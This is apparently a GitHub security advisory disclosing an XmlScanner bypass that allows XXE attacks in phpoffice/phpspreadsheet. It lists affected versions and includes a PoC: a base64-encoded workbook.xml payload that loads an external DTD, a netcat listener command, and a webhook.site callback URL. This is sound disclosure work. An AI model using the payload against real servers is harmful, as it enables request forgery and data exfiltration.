GHSA-jw4x-v69f-hh5w XmlScanner bypass leads to XXE

• Packagist phpoffice/phpspreadsheet: < 1.29.4 → fixed in 1.29.4 • Packagist phpoffice/phpspreadsheet: >= 2.0.0, < 2.1.3 → fixed in 2.1.3 • Packagist phpoffice/phpspreadsheet: >= 2.2.0, < 2.3.2 → fixed in 2.3.2 • Packagist phpoffice/phpspreadsheet: >= 3.3.0, < 3.4.0 → fixed in 3.4.0 • Packagist phpoffice/phpexcel: <= 1.8.2 (no fix yet)

Summary The XmlScanner class has a scan method which should prevent XXE attacks. However, the regexes used in the `scan` method and the findCharSet method can be bypassed by using UCS-4 and encoding guessing as described in . Details The `scan` method converts the input in the UTF-8 encoding if it is not already in the UTF-8 encoding with the `toUtf8` method. Then, the `scan` method uses a regex which would also work with 16-bit encoding. However, the regexes from the findCharSet method, which is used for determining the current encoding can be bypassed by using an encoding which has more than 8 bits, since the regex does not expect null bytes, and the XML library will also autodetect the encoding as described in . A payload for the `workbook.xml` file can for example be created with CyberChef')&input=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2IiBzdGFuZGFsb25lPSJ5ZXMiPz4KPCFET0NUWVBFIG1lc3NhZ2UgWwogICAgPCFFTlRJVFkgJSBleHQgU1lTVEVNICJodHRwOi8vMTI3LjAuMC4xOjEyMzQ1L2V4dC5kdGQiPgogICAgJWV4dDsKXT4KPHdvcmtib29rIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5vcGVueG1sZm9ybWF0cy5vcmcvc3ByZWFkc2hlZXRtbC8yMDA2L21haW4iIHhtbG5zOnI9Imh0dHA6Ly9zY2hlbWFzLm9wZW54bWxmb3JtYXRzLm9yZy9vZmZpY2VEb2N1bWVudC8yMDA2L3JlbGF0aW9uc2hpcHMiPjxmaWxlVmVyc2lvbiBhcHBOYW1lPSJDYWxjIi8%2BPHdvcmtib29rUHIgYmFja3VwRmlsZT0iZmFsc2UiIHNob3dPYmplY3RzPSJhbGwiIGRhdGUxOTA0PSJmYWxzZSIvPjx3b3JrYm9va1Byb3RlY3Rpb24vPjxib29rVmlld3M%2BPHdvcmtib29rVmlldyBzaG93SG9yaXpvbnRhbFNjcm9sbD0idHJ1ZSIgc2hvd1ZlcnRpY2FsU2Nyb2xsPSJ0cnVlIiBzaG93U2hlZXRUYWJzPSJ0cnVlIiB4V2luZG93PSIwIiB5V2luZG93PSIwIiB3aW5kb3dXaWR0aD0iMTYzODQiIHdpbmRvd0hlaWdodD0iODE5MiIgdGFiUmF0aW89IjUwMCIgZmlyc3RTaGVldD0iMCIgYWN0aXZlVGFiPSIwIi8%2BPC9ib29rVmlld3M%2BPHNoZWV0cz48c2hlZXQgbmFtZT0iU2hlZXQxIiBzaGVldElkPSIxIiBzdGF0ZT0idmlzaWJsZSIgcjppZD0icklkMiIvPjwvc2hlZXRzPjxjYWxjUHIgaXRlcmF0ZUNvdW50PSIxMDAiIHJlZk1vZGU9IkExIiBpdGVyYXRlPSJmYWxzZSIgaXRlcmF0ZURlbHRhPSIwLjAwMSIvPjxleHRMc3Q%2BPGV4dCB4bWxuczpsb2V4dD0iaHR0cDovL3NjaGVtYXMubGlicmVvZmZpY2Uub3JnLyIgdXJpPSJ7NzYyNkM4NjItMkExMy0xMUU1LUIzNDUtRkVGRjgxOUNEQzlGfSI%2BPGxvZXh0OmV4dENhbGNQciBzdHJpbmdSZWZTeW50YXg9IkNhbGNBMSIvPjwvZXh0PjwvZXh0THN0Pjwvd29ya2Jvb2s%2B.). If you open an Excel file containing the payload from the link above stored in the `workbook.xml` file with PhpSpreadsheet, you will receive an HTTP request on `127.0.0.1:12345`. You can test that an HTTP request is created by running the `nc -nlvp 12345` command before opening the file containing the payload with PhpSpreadsheet. PoC • Create a new folder. • Run the `composer require phpoffice/phpspreadsheet` command in the new folder. • Create an `index.php` file in that folder with the following content: ```PHP setReadDataOnly(true); $worksheetData = $reader->listWorksheetInfo($inputFileName); foreach ($worksheetData as $worksheet) { $sheetName = $worksheet['worksheetName']; echo "$sheetName"; / Load $inputFileName to a Spreadsheet Object / $reader->setLoadSheetsOnly($sheetName); $spreadsheet = $reader->load($inputFileName); $worksheet = $spreadsheet->getActiveSheet(); print_r($worksheet->toArray()); } ``` • Run the following command: `php -S 127.0.0.1:8080` • Add the payload.xlsx file, which contains a payload similar to the payload from the details section, but with the URL `https://webhook.site/65744200-63d2-43a2-a6a0-cca8d6b0d50a` instead of the `http://127.0.0.1:12345/ext.dtd` URL, in the folder and open in a browser. You will see an HTTP request on . Impact An attacker can bypass the sanitizer and achieve an XXE attack_Processing).